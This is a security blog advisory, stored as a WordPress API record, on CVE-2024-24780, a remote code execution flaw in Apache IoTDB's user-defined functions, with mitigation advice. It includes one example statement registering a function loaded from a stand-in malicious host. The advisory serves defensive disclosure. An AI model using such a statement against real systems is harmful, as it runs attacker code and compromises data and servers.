{"id":41302,"date":"2025-05-20T22:51:04","date_gmt":"2025-05-20T22:51:04","guid":{"rendered":""},"modified":"2025-09-08T04:18:56","modified_gmt":"2025-09-08T10:18:56","slug":"cve-2024-24780-remote-code-execution-vulnerability-in-apache-iotdb","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-24780-remote-code-execution-vulnerability-in-apache-iotdb\/","title":{"rendered":"<strong>CVE-2024-24780: Remote Code Execution Vulnerability in Apache IoTDB<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The world of cybersecurity is once again on high alert following the discovery of a severe security vulnerability dubbed CVE-2024-24780. This vulnerability, which is found in Apache IoTDB, could potentially lead to remote code execution with untrusted User-Defined Functions (UDFs) URI.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20182-critical-vulnerability-in-cisco-device-software-allows-dos-attacks\/\"  data-wpil-monitor-id=\"46256\">vulnerability is particularly concerning because it allows<\/a> an attacker, who has the privilege to create a UDF, to register a malicious function from an untrusted URI. As a result, this can compromise the integrity, confidentiality, and availability of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27528-deserialization-of-untrusted-data-vulnerability-in-apache-inlong\/\"  data-wpil-monitor-id=\"56171\">data and systems that rely on Apache<\/a> IoTDB versions from 1.0.0 up to, but not including, 1.3.4.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2024-24780<br \/>\nSeverity: Critical (CVSS 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: High<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48383-django-select2-vulnerability-risking-data-leakage-and-unauthorized-access\/\"  data-wpil-monitor-id=\"56172\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-816582195\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Apache IoTDB | 1.0.0 to 1.3.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47732-a-critical-remote-code-execution-vulnerability-in-microsoft-dataverse\/\"  data-wpil-monitor-id=\"46291\">vulnerability allows remote code execution<\/a> through the misuse of untrusted URIs in UDFs. In essence, an attacker with the privilege to create UDFs could register a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49661-untrusted-pointer-dereference-vulnerability-in-windows-ancillary-function-driver-for-winsock\/\"  data-wpil-monitor-id=\"80408\">function from an untrusted<\/a> URI. Once registered, the function could be executed, leading to unauthorized access, <a href=\"https:\/\/www.ameeba.com\/blog\/the-stealthy-tactics-of-ransomware-gangs-unmasking-skitnet-malware-in-data-theft-and-remote-access\/\"  data-wpil-monitor-id=\"48510\">data theft<\/a>, or even a complete system takeover.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3091865529\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">CREATE FUNCTION malicious_udf AS &quot;uri:\/\/malicious.example.com\/malicious_udf.class&quot;<\/code><\/pre>\n<p>In this example, the attacker creates a UDF <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33053-a-critical-vulnerability-enabling-external-control-of-file-name-or-path-in-webdav\/\"  data-wpil-monitor-id=\"60837\">named &#8220;malicious_udf&#8221; using a class file<\/a> hosted on a malicious server (malicious.example.com). When this UDF is executed, the attacker&#8217;s code is run, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-34333-critical-vulnerability-in-ami-s-spx-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"48511\">potentially compromising the system<\/a>.<\/p>\n<p><strong>Recommended Mitigations<\/strong><\/p>\n<p>Users are strongly advised to upgrade to Apache IoTDB version 1.3.4, which includes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"60838\">patch for this vulnerability<\/a>. If an immediate upgrade is not possible, temporary mitigation can be achieved by using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, these are only temporary solutions and do not <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47884-jenkins-openid-connect-provider-plugin-vulnerability-leading-to-unauthorized-access\/\"  data-wpil-monitor-id=\"50003\">provide comprehensive protection against the vulnerability<\/a>.<br \/>\nIn conclusion, the severity of CVE-2024-24780 cannot be overstated. Immediate action is required to ensure the protection of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-49835-memory-corruption-vulnerability-leading-to-potential-data-leakage-or-system-compromise\/\"  data-wpil-monitor-id=\"58412\">systems and data<\/a>. Businesses and individuals relying on Apache IoTDB must ensure they upgrade their systems or apply suitable temporary mitigations until an upgrade can be performed.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The world of cybersecurity is once again on high alert following the discovery of a severe security vulnerability dubbed CVE-2024-24780. This vulnerability, which is found in Apache IoTDB, could potentially lead to remote code execution with untrusted User-Defined Functions (UDFs) URI. This vulnerability is particularly concerning because it allows an attacker, who has the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[103],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-41302","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apache","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41302","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=41302"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41302\/revisions"}],"predecessor-version":[{"id":72831,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41302\/revisions\/72831"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=41302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=41302"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=41302"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=41302"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=41302"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=41302"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=41302"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=41302"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=41302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}